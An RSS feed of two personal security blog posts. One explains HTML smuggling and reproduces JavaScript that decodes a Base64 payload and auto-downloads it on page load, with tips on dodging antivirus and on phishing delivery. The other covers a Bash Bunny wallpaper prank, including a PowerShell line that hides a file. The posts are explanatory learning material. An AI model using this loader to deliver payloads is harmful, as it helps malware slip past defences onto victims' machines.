<?xml version="1.0" encoding="UTF-8"?><rss xmlns:dc="http://purl.org/dc/elements/1.1/" xmlns:content="http://purl.org/rss/1.0/modules/content/" xmlns:atom="http://www.w3.org/2005/Atom" version="2.0" xmlns:cc="http://cyber.law.harvard.edu/rss/creativeCommonsRssModule.html">
    <channel>
        <title><![CDATA[Stories by Mister Y J on Medium]]></title>
        <description><![CDATA[Stories by Mister Y J on Medium]]></description>
        <link>https://medium.com/@mister_y_j?source=rss-28eb80c9c56a------2</link>
        <image>
            <url>https://cdn-images-1.medium.com/fit/c/150/150/1*dmbNkD5D-u45r44go_cf0g.png</url>
            <title>Stories by Mister Y J on Medium</title>
            <link>https://medium.com/@mister_y_j?source=rss-28eb80c9c56a------2</link>
        </image>
        <generator>Medium</generator>
        <lastBuildDate>Fri, 04 Dec 2026 14:18:03 GMT</lastBuildDate>
        <atom:link href="https://medium.com/@mister_y_j/feed" rel="self" type="application/rss+xml"/>
        <webMaster><![CDATA[yourfriends@medium.com]]></webMaster>
        <atom:link href="http://medium.superfeedr.com/" rel="hub"/>
        <item>
            <title><![CDATA[HTML Smuggling]]></title>
            <link>https://medium.com/@mister_y_j/html-smuggling-3468efd7120a?source=rss-28eb80c9c56a------2</link>
            <guid isPermaLink="false">https://medium.com/p/3468efd7120a</guid>
            <category><![CDATA[cybersecurity]]></category>
            <dc:creator><![CDATA[Mister Y J]]></dc:creator>
            <pubDate>Sat, 20 Nov 2021 11:17:30 GMT</pubDate>
            <atom:updated>2021-11-20T11:17:30.517Z</atom:updated>
            <content:encoded><![CDATA[<p>I came across <a href="https://www.microsoft.com/security/blog/2021/11/11/html-smuggling-surges-highly-evasive-loader-technique-increasingly-used-in-banking-malware-targeted-attacks/">this article</a> recently and decided to look up more into this technique. I thought this <a href="https://outflank.nl/blog/2018/08/14/html-smuggling-explained/">post</a> did a very good job explaining HTML Smuggling and from there I tried my hands at replicating the code to know how this attack works.</p><h3>Why use HTML Smuggling?</h3><p>Typical network defences examine the attachments (docx, exe, zips, etc). Delivering a payload directly as an attachment will likely be blocked at the perimeter. To circumvent the network perimeter defences, we deliver the payload as part of a specially crafted HTML document, and leverage Javascript to reassemble the malicious payload into a file. Hopefully we can then trick the end user into downloading and executing this file.</p><h3>How does HTML Smuggling works?</h3><p>One of the ways HTML Smuggling is done is to have a link in the page that will actually trigger a download when clicked. This can be done by plain HTML code</p><pre>&lt;a href=&quot;/files/testfile.exe&quot; download=&quot;clickme.exe&quot;&gt;Click here&lt;/a&gt;</pre><p>or through Javascript.</p><pre>var dlLink = document.createElement(&#39;a&#39;);<br>dlLink.href = &quot;/files/testfile.exe&quot;;<br>dlLink.download = &quot;clickme.exe&quot;;<br>dlLink.innerHTML = &quot;Click here&quot;;<br>document.body.appendChild(dlLink);</pre><p>or encoding the payload with Base64, re-assembling it and initiating the download with Javascript. Sample code below from <a href="https://outflank.nl/blog/2018/08/14/html-smuggling-explained/">here</a>, with the original post giving a detailed explanation of how the Javascript code works.</p><pre>function base64ToArray(base64) {<br>  var sbinary = window.atob(base64);<br>  var len = sbinary.length;<br>  var bytes = new Uint8Array(len);<br>  for (var i = 0; i &lt; len; i++) { <br>    bytes[i] = sbinary.charCodeAt(i); <br>  }<br>  return bytes.buffer;<br>}<br> <br>function dlpayload() {<br>  var file = <em>[Insert your Base64 encoded payload here]</em>;<br>  var data = base64ToArray(file);<br>  var blob = new Blob([data], {type: ‘octet/stream’});<br>  var fileName = &quot;clickme.exe&quot;;<br> <br>  var a = document.createElement(&#39;a&#39;);<br>  document.body.appendChild(a);<br>  a.style = &#39;display: none&#39;;<br>  var url = window.URL.createObjectURL(blob);<br>  a.href = url;<br>  a.download = fileName;<br>  a.click();<br>  window.URL.revokeObjectURL(url);<br>}</pre><pre>window.onload = dlpayload;</pre><p>I was working with assembling an executable and that triggers all sort of alerts in my Windows Defender. Browsers generally will alert the user on the download of any executables as well.</p><p>I thought the Javascript Blob approach is better when it comes to delivering payloads, for a couple of reasons.</p><ul><li>The download is triggered automatically instead of relying on the user to click on the link again, after clicking on a dubious link received in a dubious email. That does not change the fact that either way we have to hope the user will actually double-click to launch the downloaded payload.</li><li>The payload is assembled directly on the end-user machine without another request to retrieve the payload from the webserver.</li><li>The assembled payload can be of any file type — Word or Excel files with a malicious macro, zip files that can initiate the download of other files, etc. Other file types will probably be ‘quieter’ than assembling a *.exe.</li><li>The above sample uses Base64 encoding which Windows Defender can easily pick up. It will be worth looking into other obfuscation techniques to hide the payload from anti-malware.</li></ul><h3>So how?</h3><p>An initial phishing email is still necessary to entice the end users to click on the HTML file so the payload can be assembled and downloaded. Once downloaded, we still need to trick the end users into launching the downloaded file. Security awareness for end users will be key in defending against HTML Smuggling. This is especially so since disabling Javascript is usually not considered a feasible solution on the Web nowadays. Perimeter defences only see Javascript and HTML which is normal traffic.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=3468efd7120a" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[Bash Bunny — Wallpaper Changer]]></title>
            <link>https://medium.com/@mister_y_j/bash-bunny-wallpaper-changer-e74176283d32?source=rss-28eb80c9c56a------2</link>
            <guid isPermaLink="false">https://medium.com/p/e74176283d32</guid>
            <category><![CDATA[bunny-bash]]></category>
            <dc:creator><![CDATA[Mister Y J]]></dc:creator>
            <pubDate>Sat, 13 Nov 2021 04:52:54 GMT</pubDate>
            <atom:updated>2021-11-13T04:52:54.048Z</atom:updated>
            <content:encoded><![CDATA[<h3>Bash Bunny — Wallpaper Changer</h3><p>I got my hands on a Bash Bunny recently and thought I’ll start by going through the <a href="https://github.com/hak5/bashbunny-payloads/tree/master/payloads/library/prank/WallpaperChanger">Wallpaper Changer</a> payload.</p><p>The payload is well-documented. To me, the key is to execute a PowerShell script to update the registry to use the new wallpaper. Sounds straightforward?Well, I loaded the payload into my Bash Bunny, plugged it into my laptop (Windows 10)…and my wallpaper did not changed like I expected it to.</p><p>I inspected the payload and it did copy the file to my desktop, and update the corresponding registry value as well. All that’s missing is the actual change in wallpaper. What’s going on?</p><p>It turns out that the change does not take place until a reboot. That actually makes sense because <a href="https://www.py4u.net/discuss/733229">Windows 10 is probably not polling this registry value to update the wallpaper instantly</a>. As a prank, it also makes sense that the wallpaper is suddenly changed on restarting the laptop. So just to go a bit further, I modified the PowerShell script to <a href="https://www.joseespitia.com/2017/09/15/set-wallpaper-powershell-function/">use SystemParametersInfo to force an immediate change to the wallpaper</a>. With that, once the payload executes, the wallpaper changes immediately.</p><p>While this is pranking, the new wallpaper is visible in the desktop of the user. Hiding the file may be a good idea. That can easily be done by adding a line to the PowerShell script to hide the copied file:</p><pre>(Get-Item $new_path).Attributes += ‘Hidden’</pre><p>To summarize my learning points from the BashBunny Wallpaper-Changer,</p><ul><li>Payloads requiring PowerShell (emulating HID) will need an unlocked laptop. Otherwise all the keystrokes are going into the password field of the locked screen.</li><li>The default payload does not change the wallpaper immediately, but as a prank that makes sense.</li><li>SystemParametersInfo will allow us to update the wallpaper immediately.</li><li>Hiding the new wallpaper from view will probably be more fun.</li></ul><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=e74176283d32" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>